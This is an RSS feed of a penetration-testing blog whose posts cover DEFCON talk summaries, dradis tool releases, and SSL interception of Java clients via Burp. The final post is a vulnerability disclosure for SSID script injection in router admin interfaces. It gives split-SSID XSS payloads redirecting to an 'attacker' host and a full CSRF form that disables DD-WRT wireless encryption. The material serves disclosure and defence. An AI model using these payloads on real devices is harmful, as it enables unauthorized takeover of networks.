<p>It was good  <img src='http://usefulfor.com/security/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />   A fair amount of people went to the talk and the Q&amp;A session was interesting.</p>
<p>Finally we got the chance to present the <a href="http://dradisframework.org/">dradis Framework</a> to a broader community. A new release of the framework (<a href="http://dradisframework.org/announcements.html#02aug09">2.3</a>) was published and I did a demo showing all the features available interface, import, tool output upload, export, etc. I didn't record a video for 2.3 however checkout the <a href="http://dradisframework.org/demo.html">demos</a> section for some screencasts of the tool.</p>
<div class="aligncenter">
<a href="http://dradisframework.org/"><img src="http://dradis.svn.sourceforge.net/viewvc/dradis/client/trunk/ui/images/logo.png" alt="dradis Framework project logo" width="304"></a>
</div>
<p>It was a shame that the talk was just before <a href="http://elladodelmal.blogspot.com/">maligno</a>'s <em>Tactical Fingerprinting Using Metadata, Hidden Info and Lost Data</em> (<a href="https://www.defcon.org/html/defcon-17/dc-17-speakers.html#Alonso">abstract</a>) because I had to leave to the Q&amp;A room.</p>
</li>
<li><em>USB Attacks: Fun with Plug &amp; 0wn</em> by Rafael Dominguez Vega (<a href="https://www.defcon.org/html/defcon-17/dc-17-speakers.html#Vega">abstract</a>)
<p>Rafa presented on the methodology to perform a security review of the USB stack from pure hardware based to pure software based techniques including virtual devices, qemu and a few fuzzing tricks. It was really good, unfortunately for political reasons he could not disclose the specific driver in which the vulnerability was found, although it was one of the stock drivers bundled with the Linux kernel.</p>
<p>Interesting thought: the issue can be triggered with USB over IP which is also enabled by default in the latest kernels...</p>
</li>
</ul>
<h3>What Happens in Vegas Stays in Vegas</h3>
<p>There is so much more to DEFCON 17 than what I managed to fit in in this already lengthy post... I hope to be able to make some time and write a follow up on the social / events / people side of things. Good night.</p>
<img src="http://usefulfor.com/security/?ak_action=api_record_view&id=111&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2009/08/19/defcon-17-a-late-write-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bypassing Java thick client SSL checks</title>
		<link>http://usefulfor.com/security/2009/06/23/bypassing-java-thick-client-ssl-checks/</link>
		<comments>http://usefulfor.com/security/2009/06/23/bypassing-java-thick-client-ssl-checks/#comments</comments>
		<pubDate>Tue, 23 Jun 2009 18:20:36 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[hack-fu]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=110</guid>
		<description><![CDATA[x509 certificate generation
Generate the certificate using OpenSSL:-

$ openssl genrsa 1024 &#62; foo.key
$ openssl req -new -x509 -nodes -sha1 -days 7300 -key foo.key &#62; foo.crt
$ openssl pkcs12 -export -out foo.p12 -in foo.crt -inkey foo.key -name &#34;your name&#34;

You will need the .p12 file (contains key and certificate) to configure Burp. And the .crt file to add it [...]]]></description>
			<content:encoded><![CDATA[<h2>x509 certificate generation</h2>
<p>Generate the certificate using <a href="http://www.openssl.org/">OpenSSL</a>:-</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ openssl genrsa <span style="color: #000000;">1024</span> <span style="color: #000000; font-weight: bold;">&gt;</span> foo.key
$ openssl req <span style="color: #660033;">-new</span> <span style="color: #660033;">-x509</span> <span style="color: #660033;">-nodes</span> <span style="color: #660033;">-sha1</span> <span style="color: #660033;">-days</span> <span style="color: #000000;">7300</span> <span style="color: #660033;">-key</span> foo.key <span style="color: #000000; font-weight: bold;">&gt;</span> foo.crt
$ openssl pkcs12 <span style="color: #660033;">-export</span> <span style="color: #660033;">-out</span> foo.p12 <span style="color: #660033;">-in</span> foo.crt <span style="color: #660033;">-inkey</span> foo.key <span style="color: #660033;">-name</span> <span style="color: #ff0000;">&quot;your name&quot;</span></pre></div></div>

<p>You will need the .p12 file (contains key and certificate) to configure <a href="http://portswigger.net/suite/">Burp</a>. And the .crt file to add it to the Java <em>keystore</em> used by the client. Checkout <a href="http://portswigger.net/proxy/help.html">Burp's help page</a> for instructions on how to get the first done.</p>
<h2>Create a Java <em>keystore</em>, import the certificate</h2>
<p>Straightforward enough (just remember the password you entered):</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">keytool.exe <span style="color: #660033;">-import</span> <span style="color: #660033;">-file</span> foo.crt <span style="color: #660033;">-keystore</span> usefulfor.jks <span style="color: #660033;">-alias</span> burpcert</pre></div></div>

<h2>Run the application and point it to your keystore</h2>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">java \
  -Djavax.net.ssl.trustStore=usefulfor.jks \
  -Djavax.net.ssl.trustStorePassword=password \
  -Djavax.net.debug=all  \
  com.usefulfor.Demo</pre></div></div>

<p>Other interesting properties that you may need in order to further tweak the SSL configuration are <code>javax.net.ssl.keyStore</code> and <code>javax.net.ssl.keyStorePassword</code>.</p>
<img src="http://usefulfor.com/security/?ak_action=api_record_view&id=110&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2009/06/23/bypassing-java-thick-client-ssl-checks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>dradis v2.0 &#8211; flexibility unleashed</title>
		<link>http://usefulfor.com/security/2009/01/30/dradis-v2/</link>
		<comments>http://usefulfor.com/security/2009/01/30/dradis-v2/#comments</comments>
		<pubDate>Fri, 30 Jan 2009 00:34:34 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=105</guid>
		<description><![CDATA[It has been a long time since the last formal release of dradis (remember the dradis v1.2 one-click installer?). But that does not mean we have been doing nothing in the mean time  
We have been working as hard as one can work: over 487 commits since then (check the stats), we went to [...]]]></description>
			<content:encoded><![CDATA[<p>It has been a long time since the last formal release of dradis (remember the <a href="/security/2008/06/13/dradis-v12-now-with-one-click-installer/">dradis v1.2 one-click installer</a>?). But that does not mean we have been doing nothing in the mean time <img src='http://usefulfor.com/security/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>We have been working as hard as one can work: over <strong>487</strong> commits since then (check <a href="http://sourceforge.net/project/stats/detail.php?group_id=209736&amp;ugn=dradis&amp;type=svn&amp;mode=12months">the stats</a>), we went to <a href="http://dradis.nomejortu.com/announcements.html#06aug08">DEFCON 16</a> where a pre-release of the new <strong>dradis v2.0</strong> was showcased... But finally we are here, there is a new release ready for you to try and get addicted to!</p>
<p>Lots of new features: new web interface (<strong>+10</strong> neatness, <strong>+20</strong> usability), new internal architecture (<strong>+30</strong> flexibility), new built-in modules (<strong>+10</strong> usefulness)...</p>
<p><span id="more-105"></span></p>
<h2>Changes in the Server</h2>
<p>First, we can start having a look at the new web interface:-</p>
<p><a href="http://usefulfor.com/security/files/2009/01/dradis20_web.png"><img class="aligncenter size-full wp-image-107" src="http://usefulfor.com/security/files/2009/01/dradis20_web_small.png" alt="" width="436" height="355" /></a></p>
<p>As you can see there are no Hosts/Protocols/Services in the screenshot above. It is just a tree of Nodes, and nodes can be anything, hosts, applications, locations, countries... you name it. This gives you the flexibility that was missing in previous releases, you can now use <strong>dradis</strong> for pentest, web apps, wireless, etc. No restrictions, you can structure your information in the most efficient way.</p>
<p><strong>dradis</strong> is built on top of the Rails framework, and with the evolution of Rails comes the evolution of our tool. We now expose our web services through REST, this goes a long way towards extending and connecting <strong>dradis</strong> with your own tools.</p>
<p>Have you noticed the <strong>https://</strong> in the enlarged image? That's right! This release comes with security! (tm). SSL transport and user authentication  are finally here.</p>
<p>And as for the fancy, shiny look, we are using <a href="http://www.extjs.com/">ExtJS 2.2</a> to build the interface. Awesome cross-browser functionality.</p>
<h2>Changes in the Client</h2>
<p>To match the changes made on the server, we have updated the wxWidgets client to the new Node tree structure. Communication is through SSL, and uses REST web services.</p>
<p>The console interface that was broken in the pre-release is working again, to the delight of hardcore testers and extension developers.</p>
<p>Some obscure re-factoring of the code took place to prepare the different components of the client to work with the <strong>Multiverse</strong> (not fully complete, not released yet). Some less obscure changes were made to the <strong>modules</strong> architecture and now we have renamed them to <strong>extensions</strong>. Old modules will still work in v2.0 only with minor tweaks (<em>john</em>'s string encoding extension is now built in and was ported by changing two lines of code 8O).</p>
<h2>And for tomorrow we have...</h2>
<p>Last but not least, we need to say that there is still lots to be done, lots of enhancements and cool features to add to the framework. Some of them have already been spotted (checkout the <a href="http://dradis.nomejortu.com/roadmap.html">roadmap</a>) and some of them will come through feature requests (yes, if you like this or that <em>cool</em> new feature implemented,let us know: <strong>feedback[ {at} ]nomejortu{ [dot] }com</strong>).</p>
<p>We are all excited about what we have accomplished so far, by the feedback we got from some of the industry's leading professionals. We believe we are already making a difference for the people using <strong>dradis</strong> in their day-to-day testing, and intend to keep it going, improving a tool that will let us all focus on what we really want: <strong>hack them</strong>.</p>
<img src="http://usefulfor.com/security/?ak_action=api_record_view&id=105&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2009/01/30/dradis-v2/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>DeepSec 2008</title>
		<link>http://usefulfor.com/security/2008/12/18/deepsec-2008/</link>
		<comments>http://usefulfor.com/security/2008/12/18/deepsec-2008/#comments</comments>
		<pubDate>Thu, 18 Dec 2008 11:20:13 +0000</pubDate>
		<dc:creator>rdv</dc:creator>
				<category><![CDATA[Events]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=101</guid>
		<description><![CDATA[DeepSec 2008 took place in Vienna in November. For a period of two days attendees enjoyed a good set of talks, a good atmosphere and had the chance to talk to different people from different security backgrounds.
I was invited to present my 'Behind Enemy lines' research, which mainly focused on different attack techniques that are [...]]]></description>
			<content:encoded><![CDATA[<p><a href="https://deepsec.net/">DeepSec 2008</a> took place in Vienna in November. For a period of two days attendees enjoyed a good set of talks, a good atmosphere and had the chance to talk to different people from different security backgrounds.</p>
<p>I was invited to present my 'Behind Enemy lines' research, which mainly focused on different attack techniques that are currently affecting a large number of administrative web interfaces.</p>
<p>The slides of this presentation can be found here: <a href="http://usefulfor.com/security/files/2008/12/mwri_behind-enemy-lines-presentation-deepsec2008.pdf">[1]</a></p>
<p>More information about this research can be found in the following white paper: <a href="http://usefulfor.com/security/files/2008/08/mwri_behind-enemy-lines_2008-07-25.pdf">[3]</a> <a href="http://www.mwrinfosecurity.com/publications/mwri_behind-enemy-lines_2008-07-25.pdf">[4]</a><br />
<a href="https://deepsec.net/"></p>
<img src="http://usefulfor.com/security/?ak_action=api_record_view&id=101&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2008/12/18/deepsec-2008/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>lucent firewall ruleset parser</title>
		<link>http://usefulfor.com/security/2008/12/01/lucent-firewall-ruleset-parser/</link>
		<comments>http://usefulfor.com/security/2008/12/01/lucent-firewall-ruleset-parser/#comments</comments>
		<pubDate>Mon, 01 Dec 2008 16:46:24 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=102</guid>
		<description><![CDATA[Recently I had to go through the ruleset of a Lucent firewall, and the truth is that the export format of the rules is everything but easy to read.
The information is split into three files:

rules file: Contains the rules, each one takes about 72 lines (rules have many properties, each property is written in a [...]]]></description>
			<content:encoded><![CDATA[<p>Recently I had to go through the ruleset of a Lucent firewall, and the truth is that the export format of the rules is everything but easy to read.</p>
<p>The information is split into three files:</p>
<ul>
<li><strong>rules file</strong>: Contains the rules, each one takes about 72 lines (rules have many properties, each property is written in a separate line). Rules match source hosts with destination hosts and services, no surprise there, but the value of any of this three key fields can be an alias.</li>
<li><strong>hosts file</strong>: in this file the aliases for host groups are defined.</li>
<li><strong>services file</strong>: service groups are defined here.</li>
</ul>
<p>So the challenge here is: <em>how do we merge this three files into something meaningful?</em></p>
<p>I know that purists can do this with a bash one-liner that uses grep, awk and sed, but <a href="/ruby/">ruby</a> is my weapon of choice, so I created the <a href="/security/files/2008/12/lucent_metaparser.rb">lucent_metaparser.rb</a> script. It basically takes the three files and applies some regular expressions to extract the information and store it into data structures and then outputs the rules in format that is easy to go through. Here is an example:-</p>
<div class="hl-surround" ><div class="hl-main"><pre>1047: (CH43) 10.0.1.12 ---(both)--- RF400 [permit https - change 43] - enabled | pass
CH43: tcp/443/* ()
10.0.1.12
RF400: 192.168.1.140-192.168.1.145;192.252.1.155;192.252.1.120;
1048: (tcp/80) RF132 ---(both)--- PK012 [web traffic to the dmz - change 74] - enabled | pass
tcp/80
RF132: 172.0.1.38-172.0.1.226 (external reverse proxies)
PK012: 10.15.2.1;10.15.2.2; (internal servers)</pre></div></div>
<p>I know that it is not perfect and there is room for improvement, but the idea is that the script can be used as a starting point for the review process, and hopefully this will save us some time in the future <img src='http://usefulfor.com/security/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<img src="http://usefulfor.com/security/?ak_action=api_record_view&id=102&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2008/12/01/lucent-firewall-ruleset-parser/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DEFCON 16 &#8211; Las Vegas 2008</title>
		<link>http://usefulfor.com/security/2008/08/21/defcon-16-las-vegas-2008/</link>
		<comments>http://usefulfor.com/security/2008/08/21/defcon-16-las-vegas-2008/#comments</comments>
		<pubDate>Thu, 21 Aug 2008 14:46:32 +0000</pubDate>
		<dc:creator>editor</dc:creator>
				<category><![CDATA[Events]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=100</guid>
		<description><![CDATA[hack-fu by Matt Hillman
Last week I attended DEFCON 16 in Las Vegas. I went last year as well, so I knew to expect the huge throngs of people, the strange mix of young, old, and crazy-haired and all the usual antics that happens when you gather around 7 thousand hackers in one place.
There's a lot [...]]]></description>
			<content:encoded><![CDATA[<p>hack-fu by <strong><a href="http://www.matthillman.info/">Matt Hillman</a></strong></p>
<p>Last week I attended <a href="http://www.defcon.org/">DEFCON 16</a> in Las Vegas. I went last year as well, so I knew to expect the huge throngs of people, the strange mix of young, old, and crazy-haired and all the usual antics that happens when you gather around 7 thousand hackers in one place.</p>
<p>There's a lot to do at DEFCON besides attending presentations, but this year I was there for business not just pleasure, so I went on a presentation-attending marathon. I must admit that this year there were less "<em>wow</em>" moments as far as the talks were concerned, but there were still some decent talks ands of course lots of opportunities to catch up with friends and acquaintances from around the world.</p>
<p>Here's a list and some comments of the talks I attended:<br />
<span id="more-100"></span></p>
<h3>Day 1</h3>
<p><strong>Time-Based Blind SQL Injection Using Heavy Queries</strong><br />
By: <a href="http://elladodelmal.blogspot.com/">Chema Alonso</a> and Jose Parada</p>
<p>Nice little technique to perform blind SQL injection without the use of delay functions, but instead creating queries which tax the database enough for a noticeable delay to be seen. Nothing ground breaking, but nifty.</p>
<p>Links:</p>
<ul>
<li><a href="http://technet.microsoft.com/en-us/library/cc512676.aspx">http://technet.microsoft.com/en-us/library/cc512676.aspx</a></li>
<li><a href="http://www.codeplex.com/marathontool">http://www.codeplex.com/marathontool</a></li>
</ul>
<p><strong>Digital Security: A Risky Business</strong><br />
By: <a href="http://www.ianangell.com/">Ian Angell</a> (aka the "Angell of Doom")</p>
<p>A fantastic speaker, and an unusual presentation for DEFCON, dealing with some of the myths and fallacies of the high tech world.</p>
<p><strong>Security and anonymity vulnerabilities in <a href="http://www.torproject.org/">Tor</a>: past, present and future</strong><br />
By: Roger Dingledine</p>
<p>There always seems to be a talk like this at DEFCON now, and its usually pretty interesting. This talk looked back at past Tor vulnerabilities, through to today, and suggested where further problems may lie. Tor's unusual architecture always makes this a fascinating listen.</p>
<p><strong>New Tool for SQL Injection with DNS Exfiltration</strong><br />
By: Robert Ricks</p>
<p>This talk demonstrated a technique and a tool to extract data through an SQL injection vulnerability by tunnelling the data through DNS. This makes for fast extraction as more data can be extracted with each query than in traditional blind SQL injection techniques. The DNS exfiltration method is not new, but Rickses tool targets Oracle which, as far as I know, no practical tool did before.</p>
<p><strong>Anti-RE Techniques in DRM Code</strong><br />
By: Jan Newger</p>
<p>Fascinating look at some of the devious techniques DRM code uses to make it harder to reverse. Slides featured a pixelated section of a diagram to avoid revealing the full DRM algorithm.</p>
<p><strong><a href="http://insecure.org/presentations/BHDC08/">NMAP-Scanning the Internet</a></strong><br />
By: Fyodor</p>
<p>Really enjoyed this one. I hadn't seen Fyodor present before and he is a very engaging speaker. His talk contained some interesting metrics based on his mammoth scans of large parts of the internet, allowing him to give advice on the most efficient scan options. He also added a variety of very nice features to nmap to be released soon.</p>
<p><strong>Keeping Secret Secrets Secret and Sharing Secret Secrets Secretly</strong><br />
By: Vic Vandal</p>
<p>The talk focused mainly on issues surrounding stenography.</p>
<p><strong>Virtually Hacking</strong><br />
By: John Fitzpatrick</p>
<p>John is a colleague of mine, so naturally I went to heckle this presentation <img src='http://usefulfor.com/security/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  In all seriousness though it’s an interesting talk about VMware security. He released some scripts to manipulate VMware in some very interesting ways.</p>
<h3>Day 2</h3>
<p><strong>RE:Trace: The Reverse Engineer's Unexpected Swiss Army Knife</strong><br />
By: David Weston and Tiler Beauchamp</p>
<p>This was a great talk, and one I will probably use in some future research of mine. RE:Trace is a ruby framework written around DTrace which allows you to do some kung-fu to help in reverse engineering and exploit writing. Includes some very nice integration with IDA Pro.</p>
<p><strong>Hacking Desire</strong><br />
By: Ian Clarke</p>
<p>Not what I expected, but interesting nonetheless, the talk focussed on how systems can build a predictive picture of what users like.</p>
<p><strong>Feed my SAT Monkey</strong><br />
By: <a href="http://rfidiot.org/">Major Malfunction</a> (aka Adam Laurie)</p>
<p>Hacking satellites. Do I need to say anymore? Well ok, no sending data to satellites here, but interesting insight into the world of hunting for interesting signals. Including tcp/ip data that you "wouldn't believe".</p>
<p><strong>Is that a unique credential in your pocket or are you just pleased to see me?</strong><br />
By: Zac Franken</p>
<p>If you've never seen someone take a silicone cast of their hand to fool a hand scanner, you haven't lived.</p>
<p><strong>VulnCatcher: Fun with Vtrace and Programmatic Debugging</strong><br />
By: atlas</p>
<p>This talk shows techniques for programmatically finding when an exploitable bug "likely" occurred during fuzzing, so you can hone in on the truly interesting crashes quickly. Included an amusing interruption in which atlas was attacked by a fully automatic nerf gun.</p>
<p><strong>Introducing Momentary Faults Within Secure Smartcards/Microcontrollers</strong><br />
By: Christopher Tarnovsky</p>
<p>Some of this talk was a bit over my head (I'm a software monkey at heart), but it was quite amazing to see how you could physically mess with circuits on a chip to bypass certain restrictions. Included live, participatory demonstration!</p>
<h3>Day 3</h3>
<p><strong>Malware Detection Through Network Flow Analysis</strong><br />
By: Bruce Potter</p>
<p>Its not as if you can not go to a Bruce Potter talk. He started off with some insightful comments about the security industry generally, and moved on the to main topic of discussion, showing how best to analyse network flow from a security analysts point of view, as opposed to a purely operational concerned person. Before the talk, Bruce took part in a small TF2 lan game that was stuck up on the big screen as we filed in.</p>
<p><strong>Advanced Software Armouring and Polymorphic Kung-Fu</strong><br />
By: Nick Harbour</p>
<p>Nick Harbour had developed a pretty cool packer which used some amazing<br />
techniques to screw with analysis of the disassembly. My favourite was<br />
instructions that jump half way into their own bytecode at which point<br />
new meaningful instructions emerge.</p>
<p><strong>DNS</strong><br />
By: Dan Kaminsky</p>
<p>If I have to explain this one, you must have been living under a rock. I actually only caught the second half, as the line to get in to his talk was insanely long. But he spoke for almost 2 hours and I managed to hear some of his comments on the implications of easy DNS poisoning. Afterwards, he gave out cookies!</p>
<p><strong>Race-2-Zero Unpacked</strong><br />
By: Simon Howard</p>
<p>A dissection of the controversial Race-2-Zero contest in which participants had to get various malware past virus scanning engines.</p>
<p><strong>Toaster, a Modular NetBSD Rootkit</strong><br />
By: Anthony Martinez and Thomas Bowen</p>
<p>The guys seemed quite nervous in this presentation, but the material behind it was an interesting look at how they implemented this BSD rootkit.</p>
<p><strong>Malware RCE: Debuggers and Decryptor Development</strong><br />
By: Michael Ligh and Greg Sinclair</p>
<p>This demo driven presentation looked at techniques and tips for effectively analysing malware samples.</p>
<p><strong>en-Testing is Dead, Long Live the Pen Test</strong><br />
By: Taylor Banks and Carric</p>
<p>An insightful look at the history and development of pentesting, its roots in hacker culture, what went wrong, and how to progress into the future.</p>
<h3>Summary</h3>
<p>I really enjoyed The Pen-Test is Dead Long Live the Pentest as it tied in quite closely with what I am seeing myself and the changes we are making at MWR InfoSecurity. On a technical level my favourite talks were probably RE:Trace, Anti-RE Techniques in DRM Code and Polymorphic Kung-Fu. I wish I had got to see Jason Scott's talk, he has to be one of my favourite speakers, but his talk wasn't technical and as I was there on company time I decided to take in the technical talks on at the same time instead.</p>
<img src="http://usefulfor.com/security/?ak_action=api_record_view&id=100&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2008/08/21/defcon-16-las-vegas-2008/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>SSID Script Injection</title>
		<link>http://usefulfor.com/security/2008/08/04/ssid-script-injection/</link>
		<comments>http://usefulfor.com/security/2008/08/04/ssid-script-injection/#comments</comments>
		<pubDate>Mon, 04 Aug 2008 09:41:22 +0000</pubDate>
		<dc:creator>rdv</dc:creator>
				<category><![CDATA[hack-fu]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=94</guid>
		<description><![CDATA[The administrative web interfaces for many wireless access points (APs) provide users with ‘Neighbourhood Wireless Scan’ functionality. This functionality scans for all accessible APs and displays the details of any APs which are identified. However, examination of these administrative interfaces revealed that a large number of them do not properly sanitise the parameters that are [...]]]></description>
			<content:encoded><![CDATA[<p>The administrative web interfaces for many wireless access points (APs) provide users with ‘Neighbourhood Wireless Scan’ functionality. This functionality scans for all accessible APs and displays the details of any APs which are identified. However, examination of these administrative interfaces revealed that a large number of them do not properly sanitise the parameters that are passed to them from any accessible APs.</p>
<p>An attacker could set up a fake AP with a malicious payload in the Service Set Identifier (SSID). The malicious SSID would be displayed in the ‘Neighbour’s Access Points Table’ page of the administrative interface and would be executed when an administrator scanned for APs.<span id="more-94"></span></p>
<p><strong>Circumstances</strong></p>
<p>Device providing an administrative web interface with a ‘Neighbourhood Wireless Scan’ functionality.</p>
<p><strong>Cause</strong></p>
<p>The device administrative web interface does not properly sanitise parameters that are passed to it from identified access points.</p>
<p><strong>Exploitation</strong></p>
<p>An attacker could set up a fake access point broadcasting specially crafted 802.11 ‘beacon’<br />
packets containing a malicious payload in the SSID.</p>
<p>The malicious SSID will be displayed in the ‘Neighbor’s Wireless Networks’ page of the affected device administrative interface and will be executed when an administrator scans for wireless access points.</p>
<p><strong>Impact</strong></p>
<p>Administrative web interfaces normally have highly privileged access to operating system functions via in-built script. In combination with a CSRF technique an attacker could fully compromise the affected system.</p>
<p><strong>Dependencies</strong></p>
<ul>
<li> The attacker would need to be in wireless range of the affected device. However, nowadays, antennas are available which can dramatically increase the distance that can exist between an attacker and their target</li>
<li> SSIDs have a maximum length of 32 characters and this would not normally be sufficient to inject a usable malicious payload for an attack. However, an attacker could set up two fake access points and deliver a payload using the combined content of both SSIDs. A payload of 64 characters would be enough to redirect a user’s browser to a malicious web server.</li>
</ul>
<p><strong>Attack Technique</strong></p>
<p>1. An attacker sets up two fake AP broadcasting specially crafted 802.11 beacon packets containing a malicious payload in the SSID</p>
<p>SSID of the first access point: -</p>
<p><code>&lt;script&gt;location=/*</code></p>
<p>SSID of the second access point: -</p>
<p><code>*/"http://attacker";&lt;/script&gt;</code></p>
<p>A malicious SSID combined together with the use of JavaScript comment tags (/* */) will make the following payload usable in an attack.</p>
<p><code>&lt;script&gt;location="http://attacker";&lt;/script&gt;</code></p>
<p>2. This malicious SSIDs will be displayed in the 'Neighbour's Wireless' page of the affected device administrative interdace and will be executed when an administrator scans for wireless APs</p>
<p>3. The malicious payload references to a script hosted in the attacker's web server. Below it can be seen an example of the malicious script hosted in the attacker's web server.  This code will vary depending on the affected device.</p>
<p><code>&lt;html&gt;<br />
&lt;body onload="javascript:document.forms.wpa.submit();"&gt;<br />
&lt;form name="wpa" action="http://192.168.1.1/<strong>apply.cgi</strong>" method="POST"&gt;<br />
&lt;input type="hidden" name="submit_button" value="WL_WPATable" /&gt;<br />
&lt;input type="hidden" name="action" value="ApplyTake" /&gt;<br />
&lt;input type="hidden" name="change_action" value="gozila_cgi" /&gt;<br />
&lt;input type="hidden" name="submit_type" value="save" /&gt;<br />
&lt;input type="hidden" name="security_varname" /&gt;<br />
&lt;input type="hidden" name="security_mode_last" /&gt;<br />
&lt;input type="hidden" name="wl_wep_last" /&gt;<br />
&lt;input type="hidden" name="filter_mac_value" /&gt;<br />
&lt;input type="hidden" name="wl0_security_mode" value="<strong>disable</strong>" /&gt;<br />
&lt;/form&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</code></p>
<p>4. The malicious script hosted in the attacker's web server is used to perform a CSRF attack against the affected administrative interface. This script causes the administrator's browser to make a POST request to the wireless encryption functionality (apply.cgi) and disables the device's wireless encryption.</p>
<p style="text-align: center"><a href="http://usefulfor.com/security/files/2008/08/ssid-diagram.jpg"><img class="alignnone size-medium wp-image-98 aligncenter" src="http://usefulfor.com/security/files/2008/08/ssid-diagram.jpg" alt="" width="500" height="280" /></a></p>
<p style="text-align: left">
<p><strong>Tool:</strong> SSID Script Injection <a href="http://www.mwrinfosecurity.com/publications/ssidattack.tar">[1]</a></p>
<p><strong>Advisory:</strong> DD-WRT SSID Script Injection Vulnerability <a href="http://www.mwrinfosecurity.com/publications/mwri_dd-wrt-ssid-script-injection_2008-07-24.pdf">[1]</a></p>
<p><strong> Demo:</strong> DD-WRT SSID Script Injection Attack <a href="http://www.mwrinfosecurity.com/publications/dd-wrt.htm">[1]</a></p>
<p><strong>White paper:</strong> Behind Enemy Lines <a href="http://www.mwrinfosecurity.com/publications/mwri_behind-enemy-lines_2008-07-25.pdf">[1]</a> <a href="http://usefulfor.com/security/files/2008/08/mwri_behind-enemy-lines_2008-07-25.pdf">[2]</a></p>
<p style="text-align: left">
<img src="http://usefulfor.com/security/?ak_action=api_record_view&id=94&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2008/08/04/ssid-script-injection/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
